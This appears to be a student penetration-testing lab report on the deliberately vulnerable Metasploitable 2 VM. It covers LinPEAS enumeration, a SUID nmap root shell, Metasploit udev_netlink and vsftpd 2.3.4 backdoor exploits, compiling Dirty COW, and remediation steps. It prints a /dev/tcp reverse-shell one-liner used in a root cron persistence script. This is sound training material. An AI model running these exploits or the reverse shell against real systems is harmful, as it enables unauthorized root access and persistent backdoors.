



## PRIVILEGE ESCALATION AND PERSISTENCE LAB

### EXECUTIVE SUMMARY

During a penetration testing lab on Metasploitable 2 (192.168.116.135), enumeration using LinPEAS revealed both SUID vulnerabilities and an outdated kernel exploitable for privilege escalation. Using these vectors, full root access was achieved. Persistence was established through a root cron job that executes a reverse shell on reboot, maintaining ongoing access.

### TARGET & TOOLS

Target: Metasploitable 2 — 192.168.116.135

Tools Used: LinPEAS, Meterpreter, Metasploit, Bash, cron

### 1. ENUMERATION

- **Tool:** LinPEAS
- **Action:** LinPEAS was transferred and executed on the target VM to identify potential privilege escalation vectors.
- **Findings:**
  - Detected several SUID binaries (notably /usr/bin/nmap).
  - Identified kernel version **2.6.24-16-generic**, known to have privilege escalation vulnerabilities exploitable via Metasploit.
  - Enumerated possible cron jobs and writable files that could be abused for persistence.

### 2. PRIVILEGE ESCALATION

#### 2.1 SUID Exploit

- **Technique:** Exploiting a vulnerable SUID binary
- **Finding from LinPEAS:** /usr/bin/nmap marked as executable with SUID bit set.
- **Method:**
  - Verified SUID permissions:
  - `ls -la /usr/bin/nmap`



- Entered interactive mode of Nmap to execute shell commands as root:
  - `nmap --interactive`
  - `!sh`
  - Resulted in a **root shell**.
- Outcome:** Privilege successfully escalated to root.

Task ID	Technique	Target IP	Status	Outcome
010	SUID Exploit	192.168.116.135	Success	Root Shell

## 2.2 Kernel Exploit

- Technique:** Exploiting outdated kernel vulnerability
- Finding from LinPEAS:** Kernel version 2.6.24-16-generic — known to be vulnerable to multiple local privilege escalation exploits.
- Exploit Used:** exploit/linux/local/udev\_netlink (Metasploit)
- Method:**
  - Established a Meterpreter session on the target as a non-root user.
  - Used Metasploit to search for local kernel exploits:
  - search udev\_netlink
  - Loaded the module:
  - use exploit/linux/local/udev\_netlink
  - set SESSION <session\_id>
  - set LHOST <attacker\_IP>
  - run
  - The exploit leveraged the vulnerable udev component to escalate privileges.
- Result:** A new root-level Meterpreter session was obtained.

Task ID	Technique	Target IP	Status	Outcome
011	Kernel Exploit	192.168.116.135	Success	Root Shell



### 3. PERSISTENCE

- **Method:** Root-level cron job
- **Action:**
  - Created a script /root/persist.sh containing a reverse shell payload.
  - Made the script executable:
  - `chmod +x /root/persist.sh`
  - Added the cron entry for automatic execution at reboot:
  - `@reboot /root/persist.sh`
- **Result:** The reverse shell is executed automatically on every reboot, maintaining persistent root access.

### 4. EVIDENCE COLLECTED

- LinPEAS output highlighting /usr/bin/nmap and kernel version.
- Screenshots or logs showing privilege escalation to root via SUID exploit and kernel exploit.
- Confirmation of /root/persist.sh presence and root's cron entry.

### 5. IMPACT

- Root-level access achieved through both SUID and kernel exploitation.
- Persistence ensured via cron job, granting continuous unauthorized control.
- System considered fully compromised.

### 6. REMEDIATION

1. **Remove persistence mechanisms**  
`sudo crontab -l -u root`  
`sudo crontab -e -u root`  
`sudo rm -f /root/persist.sh`
2. **Remove or fix vulnerable SUID binaries**  
`sudo chmod u-s /usr/bin/nmap`
3. **Update and patch kernel**  
`sudo apt-get update && sudo apt-get upgrade`



```
sudo apt-get dist-upgrade
```

```
sudo reboot
```

#### 4. Audit for other SUID/SGID files

```
find / -perm /6000 -type f -exec ls -ld {} \; 2>/dev/null
```

#### 5. Rotate all credentials and SSH keys

## 8. PERSISTENCE SUMMARY

A root-level cron job was configured as root to ensure persistence. The job executes a reverse shell script located at /root/persist.sh automatically upon every system reboot. This guarantees the attacker regains root access after restarts, maintaining ongoing unauthorized control without manual intervention and ensuring continued system compromise.

## 9. APPENDIX

```
kali@kali: ~  
$ msfconsole -q  
msf > search vsftpd  
Matching Modules  
#  Name                                     Disclosure Date  Rank  Check  Description  
-  -                                     -             -    -    -    -  
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal Yes    VSFTPD 2.3.2 Denial of Service  
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No     VSFTPD v2.3.4 Backdoor Command Execution  
  
Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor  
msf > use exploit/unix/ftp/vsftpd_234_backdoor  
[*] No payload configured, defaulting to cmd/unix/interact  
msf exploit(unix/ftp/vsftpd_234_backdoor) > set LHOST 192.168.96.129  
LHOST => 192.168.96.129  
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.96.128  
RHOSTS => 192.168.96.128  
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options  
Module options (exploit/unix/ftp/vsftpd_234_backdoor):  


| Name    | Current Setting | Required | Description                                                                                                             |
|---------|-----------------|----------|-------------------------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                                                |
| CPORTR  |                 | no       | The local client port                                                                                                   |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][ ... ]. Supported proxies: sagni, socks4, socks5, socksSh, http |
| RHOSTS  | 192.168.96.128  | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html                  |
| RPORT   | 21              | yes      | The target port (TCP)                                                                                                   |

  
Exploit target:  


| Id | Name      |
|----|-----------|
| 0  | Automatic |


```

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > run  
[*] 192.168.96.128:21 - Banner: 220 (vsftpd 2.3.4)  
[*] 192.168.96.128:21 - USER: 331 Please specify the password.  
[*] Exploit completed, but no session was created.  
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit  
[*] 192.168.96.128:21 - The port used by the backdoor bind listener is already open  
[*] 192.168.96.128:21 - UID: uid=0(root) gid=0(root)  
[*] Found shell.  
[*] Command shell session 1 opened (192.168.96.129:45691 -> 192.168.96.128:6200) at 2025-10-29 08:58:23 -0400  
[*] Exploit completed, but no session was created.  
msf exploit(unix/ftp/vsftpd_234_backdoor) > sessions -i 1  
[*] Starting interaction with 1...  
  
whoami  
root  
ls  
bin  
boot  
cdrom  
dev  
etc  
home  
initrd  
initrd.img  
lib  
lost-found  
media  
mnt  
nohup.out  
opt  
proc  
root  
sbin  
srv  
sys  
tmp  
usr  
var
```



```
Home X kali-linux-2025.3-vmware-am... X Metasploitable2-Linux X

=> 'linPEAS.sh'
Connecting to 192.168.116.135:8000... connected.
HTTP request sent, awaiting response... 404 File not found
09:36:51 ERROR 404: File not found.

msfadmin@metasploitable:~$ wget http://192.168.116.135:8000/linPEAS.sh
--09:52:50-- http://192.168.116.135:8000/linPEAS.sh
=> 'linPEAS.sh'
Connecting to 192.168.116.135:8000... connected.
HTTP request sent, awaiting response... 404 File not found
09:52:50 ERROR 404: File not found.

msfadmin@metasploitable:~$ wget http://192.168.116.135:8000/linpeas.sh
--09:53:00-- http://192.168.116.135:8000/linpeas.sh
=> 'linpeas.sh'
Connecting to 192.168.116.135:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 14 [text/x-sh]

100%[=====>] 14 --.-K/s

09:53:00 (657.36 KB/s) - 'linpeas.sh' saved [14/14]

msfadmin@metasploitable:~$ chmod +x linpeas.sh
msfadmin@metasploitable:~$
```


```
[*] Starting interaction with 2...

whoami
root
shell
[*] Trying to find binary 'python' on the target machine
[*] Found python at /usr/bin/python
[*] Using 'python' to pop up an interactive shell
[*] Trying to find binary 'bash' on the target machine
[*] Found bash at /bin/bash

ls
ls
bin dev initrd lost+found nohup.out root sys var
boot etc initrd.img media opt sbin tmp vmlinuz
cdrom home lib mnt proc srv usr

root@metasploitable:/# cd home
cd home
root@metasploitable:/home# ls
ls
ftp msfadmin service user
root@metasploitable:/home# cd msfadmin
cd msfadmin
root@metasploitable:/home/msfadmin# ls
ls
linpeas.sh tomcat-users.xml.bak vulnerable
root@metasploitable:/home/msfadmin#
```

```
root@metasploitable:/home/msfadmin# ./linpeas.sh
./linpeas.sh



Do you like PEASS?
Learn Cloud Hacking : https://training.hacktricks.xyz
Follow on Twitter : @hacktricks_line
Respect on NTB : SirBorecoil
Thank you!
```



```
System Information
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#kernel-exploits
Linux version 2.6.24-16-server (build@palmer) (gcc version 4.2.3 (Ubuntu 4.2.3-2ubuntu7)) #1 SMP Thu Apr 10 13:58:00 UTC 2008
Distributor ID: Ubuntu
Description: Ubuntu 8.04
Release: 8.04
Codename: hardy

Sudo version
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#sudo-version
Sudo version 1.6.9p10

PATH
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#writable-path-abuses

Date & uptime
Wed Oct 29 10:19:04 UTC 2025
10:19:04 up 51 min, 2 users, load average: 0.41, 0.23, 0.12

Unmounted file-system?
Check if you can mount unmounted devices
proc /proc defaults 0 ext3 0 relatime,errors=remount-ro 0 1
/dev/sda1 /boot ext3 relatime 0 2
/dev/scd0 /media/cdrom0 udf,iso9660 user,noauto,exec,utf8 0 0
/dev/fd0 /media/floppy0 auto rw,user,noauto,exec,utf8 0 0

Any sd/*disk* disk in /dev? (limit 20)
disk
sda
sda1
sda2
sda5

Environment
Any private information inside environment variables?
TERM=linux
QUIET=
REMOTE_HOST=192.168.116.135
runlevel=2
RUNLEVEL=2
UPSTART_EVENT=runlevel
PWD=/home/msfadmin
VERBOSE=no
TZ=UTC+04:00
previous=N
PREVLEVEL=N
SHLVVL=5
LESSOPEN= /usr/bin/lesspipe %s
UPSTART_JOB=rc2
UPSTART_JOB_ID=5
LESSCLOSE=/usr/bin/lesspipe %s %s
_=/usr/bin/env

Searching Signature verification failed in dmesg
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#dmesg-signature-verification-failed
0.000000 ACPI: RSDP signature @ 0xc00f6a00 checksum 0

Executing Linux Exploit Suggester
https://github.com/mzet-/linux-exploit-suggester
Script needs Bash in version 4.0 or newer. Aborting.

Protections
AppArmor enabled? ..... apparmor module is loaded.
2 profiles are loaded.
2 profiles are in enforce mode.
/usr/sbin/mysqld
/usr/sbin/named
0 profiles are in complain mode.
2 processes have profiles defined.
2 processes are in enforce mode :

295630 0 -rw-r--r-- 1 root root 6080 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/ide/legacy/ide_platform.ko
295632 0 -rw-r--r-- 1 root root 7612 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/ide/legacy/ali15a.ko
295658 0 -rw-r--r-- 1 root root 3268 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/ide/ide-generic.ko
295636 24 -rw-r--r-- 1 root root 21292 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/ide/ide-disk.ko
295630 136 -rw-r--r-- 1 root root 132964 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/ide/ide-core.ko
295645 24 -rw-r--r-- 1 root root 21052 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/ide/pcl/hpt346.ko
295649 0 -rw-r--r-- 1 root root 7720 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/ide/pcl/atitxp.ko
295647 0 -rw-r--r-- 1 root root 6972 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/ide/pcl/tc86c001.ko
295656 0 -rw-r--r-- 1 root root 8864 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/ide/pcl/ide0415.ko
295657 12 -rw-r--r-- 1 root root 6452 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/ide/pcl/asc52xx.ko
295648 0 -rw-r--r-- 1 root root 6932 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/ide/pcl/opti621.ko
295653 0 -rw-r--r-- 1 root root 6020 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/ide/pcl/cs5535.ko
295645 0 -rw-r--r-- 1 root root 6148 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/ide/pcl/ide0415.cb.ko
295654 0 -rw-r--r-- 1 root root 7488 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/ide/pcl/trm250.ko
295655 16 -rw-r--r-- 1 root root 12296 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/ide/pcl/cnd84x.ko
295650 0 -rw-r--r-- 1 root root 6488 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/ide/pcl/hpt34x.ko
295642 0 -rw-r--r-- 1 root root 7416 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/ide/pcl/cs5530.ko
295646 0 -rw-r--r-- 1 root root 6828 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/ide/pcl/cy82c093.ko
295652 12 -rw-r--r-- 1 root root 8988 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/ide/pcl/sc1300.ko
295651 12 -rw-r--r-- 1 root root 11188 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/ide/pcl/p4222x_old.ko
295644 10 -rw-r--r-- 1 root root 15708 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/ide/pcl/qln15c1.ko
295637 24 -rw-r--r-- 1 root root 22988 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/ide/ide-floppy.ko
295640 44 -rw-r--r-- 1 root root 62784 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/ide/ide-tape.ko
295634 12 -rw-r--r-- 1 root root 18092 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/media/radio/radio-terratec.ko
295671 12 -rw-r--r-- 1 root root 11568 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/media/radio/radio-typhoon.ko
295673 16 -rw-r--r-- 1 root root 14516 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/media/radio/radio-gemtek.ko
295679 12 -rw-r--r-- 1 root root 11284 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/media/radio/dsbr100.ko
295677 12 -rw-r--r-- 1 root root 11712 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/media/radio/codio-maestro.ko
295681 12 -rw-r--r-- 1 root root 11176 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/media/radio/radio-sf16mr2.ko
295683 16 -rw-r--r-- 1 root root 14444 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/media/radio/radio-cadet.ko
295678 12 -rw-r--r-- 1 root root 10764 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/media/radio/radio-trust.ko
295682 12 -rw-r--r-- 1 root root 11008 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/media/radio/radio-sf16mr1.ko
295670 12 -rw-r--r-- 1 root root 11516 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/media/radio/radio-sinslab.ko
295674 12 -rw-r--r-- 1 root root 12128 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/media/radio/radio-maxiradio.ko
295675 12 -rw-r--r-- 1 root root 10332 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/media/radio/radio-rttrack2.ko
295676 12 -rw-r--r-- 1 root root 11288 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/media/radio/radio-roltris.ko
295672 12 -rw-r--r-- 1 root root 11988 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/media/radio/radio-gemtek-pci.ko
295680 12 -rw-r--r-- 1 root root 10948 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/media/radio/radio-aztech.ko
295695 36 -rw-r--r-- 1 root root 35076 Apr 10 2008 /lib/modules/2.6.24-16-server/kernel/drivers/media/video/stradis.ko
```



```
Processes, Crons, Timers, Services and Sockets
Running processes (cleaned)
Check weird & unexpected processes run by root: https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html#processes
root 1 0.0 0.3 2844 1692 ? Ss 09:28 0:01 /sbin/init
root 2789 0.0 0.1 2092 640 ? Ss 09:28 0:00 /sbin/udev --daemon[0m
daemon[0m 4234 0.0 0.1 1836 528 ? Ss 09:28 0:00 /sbin/portmap
statd 4250 0.0 0.1 1900 724 ? Ss 09:28 0:00 /sbin/rpc.statd
root 4271 0.0 0.1 3648 580 ? Ss 09:28 0:00 /usr/sbin/rpc.idmapd
root 4498 0.0 0.0 1716 492 tty4 Ss+ 09:28 0:00 /sbin/getty 38400 tty4
root 4499 0.0 0.0 1716 492 tty5 Ss+ 09:28 0:00 /sbin/getty 38400 tty5
root 4505 0.0 0.0 1716 488 tty2 Ss+ 09:28 0:00 /sbin/getty 38400 tty2
root 4506 0.0 0.0 1716 492 tty3 Ss+ 09:28 0:00 /sbin/getty 38400 tty3
root 4511 0.0 0.0 1716 492 tty6 Ss+ 09:28 0:00 /sbin/getty 38400 tty6
syslog 4547 0.0 0.1 1936 648 ? Ss 09:28 0:00 /sbin/syslogd -u syslog
root 4591 0.0 0.1 1872 640 ? S 09:28 0:00 /bin/dd bs=1 if=/proc/kmsg of=/var/run/klogd.kmsg
klog 4592 0.0 0.3 3152 2052 ? Ss 09:28 0:00 /sbin/klogd -p /var/run/klogd.kmsg
bind 4616 0.0 1.4 35348 7620 ? Ssl 09:28 0:00 /usr/sbin/named -u bind
root 4720 0.0 0.2 2768 1388 ? S 09:28 0:00 /bin/sh /usr/bin/mysqld_safe
mysql 4762 0.0 3.3 127564 17188 ? Sl 09:28 0:00 - /usr/bin/mysqld --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=/var/run/mysqld/my
sqld.pid --skip-external-locking --port=3306 --socket=/var/run/mysqld/mysqld.sock
root 4764 0.0 0.1 1700 556 ? S 09:28 0:00 - logger -p daemon[0m.err -t mysqld_safe -i -t mysqld
postgres 4841 0.0 0.9 41340 5068 ? S 09:28 0:00 /usr/lib/postgresql/8.3/bin/postgres -D /var/lib/postgresql/8.3/main -c config_file=/etc/postgresql/8.
3/main/postgresql.conf
postgres 4891 0.0 0.2 41340 1376 ? Ss 09:28 0:00 - postgres: writer process
postgres 4892 0.0 0.2 41340 1188 ? Ss 09:28 0:00 - postgres: wal writer process
postgres 4893 0.0 0.2 41340 1380 ? Ss 09:28 0:00 - postgres: autovacuum launcher process
postgres 4894 0.0 0.2 12660 1120 ? Ss 09:28 0:00 - postgres: stats collector process
dhcpd 4853 0.0 0.1 2436 788 ? Ss 09:28 0:00 dhclient3 -e -f /etc/eth0.dhclient3.conf -p /var/run/dhclient3.pid -lf /var/lib/dhcp3/dhclient.eth0.leases eth0
root 4877 0.0 0.1 5312 992 ? Ss 09:28 0:00 /usr/sbin/sshd
daemon[0m 4914 0.0 0.0 2316 420 ? Ss 09:28 0:00 distccd --daemon -user daemon -allow 0.0.0.0/0
daemon[0m 4915 0.0 0.0 2316 212 ? SN 09:28 0:00 - distccd --daemon -user daemon -allow 0.0.0.0/0
daemon[0m 5053 0.0 0.0 2316 212 ? SN 09:28 0:00 - distccd --daemon -user daemon -allow 0.0.0.0/0
daemon[0m 5146 0.0 0.0 2316 212 ? SN 09:28 0:00 - distccd --daemon -user daemon -allow 0.0.0.0/0
root 4977 0.0 0.3 2424 388 ? Ss 09:28 0:00 /usr/sbin/rpc.mountd
root 5044 0.0 0.3 5412 1728 ? Ss 09:28 0:00 /usr/lib/postfix/master
postfix 5045 0.0 0.3 5420 1644 ? S 09:28 0:00 - pickup -l -t fifo -u -c
postfix 5047 0.0 0.3 5460 1684 ? S 09:28 0:00 - qmgr -l -t fifo -u
root 5051 0.0 0.2 5396 1236 ? Ss 09:28 0:00 /usr/sbin/nmbd -D
```

```
root@metasploitable:/home/msfadmin# /usr/bin/nmap --interactive
/usr/bin/nmap --interactive
```

```
Starting Nmap V. 4.53 ( http://insecure.org )
Welcome to Interactive Mode -- press h <enter> for help
nmap> sh
sh
Unknown command (sh) -- press h <enter> for help
nmap> !sh
!sh
sh-3.2# whoami
whoami
root
sh-3.2#
```

```
(kali@kali)~[~]
$ wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtycow.c
--2025-10-29 05:35:30-- https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtycow.c
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.108.133, 185.199.110.133, 185.1
99.109.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2826 (2.8K) [text/plain]
Saving to: 'dirtycow.c'

dirtycow.c 100%[=====] 2.76K --.-KB/s in 0s

2025-10-29 05:35:30 (21.4 MB/s) - 'dirtycow.c' saved [2826/2826]
```

```
sh-3.2# wget http://192.168.225.137:9000/dirtycow.c
--05:17:57-- http://192.168.225.137:9000/dirtycow.c
=> 'dirtycow.c'
Connecting to 192.168.225.137:9000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,826 (2.8K) [text/x-csrc]

100%[=====] 2,826 --.-K/s

05:17:57 (713.55 MB/s) - 'dirtycow.c' saved [2826/2826]

sh-3.2# gcc -o dirtycow dirtycow.c
/tmp/ccUCLA04.o: In function 'main':
dirtycow.c:(.text+0x1f4): undefined reference to `pthread_create'
dirtycow.c:(.text+0x21e): undefined reference to `pthread_create'
dirtycow.c:(.text+0x231): undefined reference to `pthread_join'
dirtycow.c:(.text+0x244): undefined reference to `pthread_join'
collect2: ld returned 1 exit status
sh-3.2# ./dirtycow
sh: ./dirtycow: No such file or directory
sh-3.2# ls
dirtycow.c linpeas.sh vulnerable
sh-3.2# gcc -o dirtycow dirtycow.c
/tmp/ccwLfMms.o: In function 'main':
dirtycow.c:(.text+0x1f4): undefined reference to `pthread_create'
dirtycow.c:(.text+0x21e): undefined reference to `pthread_create'
dirtycow.c:(.text+0x231): undefined reference to `pthread_join'
dirtycow.c:(.text+0x244): undefined reference to `pthread_join'
collect2: ld returned 1 exit status
sh-3.2# gcc -o dirtycow dirtycow.c -lpthread
sh-3.2# ./dirtycow
usage: dirtycow target_file new_content
sh-3.2#
```



```
GNU nano 2.0.7      File: persist.sh      Modified
#!/bin/bash
bash -i >& /dev/tcp/192.168.116.135/4444 0>&1
```

[ Can now UnJustify! ]

^G Get Help	^O WriteOut	^R Read File	^Y Prev Page	^K Cut Text	^C Cur Pos
^X Exit	^J Justify	^W Where Is	^V Next Page	^U UnJustify	^T To Spell

## 10. CONCLUSION

Enumeration with LinPEAS revealed both a vulnerable SUID binary and an outdated kernel on the target system. Using these findings, full root access was achieved through both SUID and kernel exploits. Persistence was maintained using a cron-based reverse shell, granting continuous root-level control after reboots. Immediate patching, removal of SUID binaries, and log auditing are critical to restoring system integrity.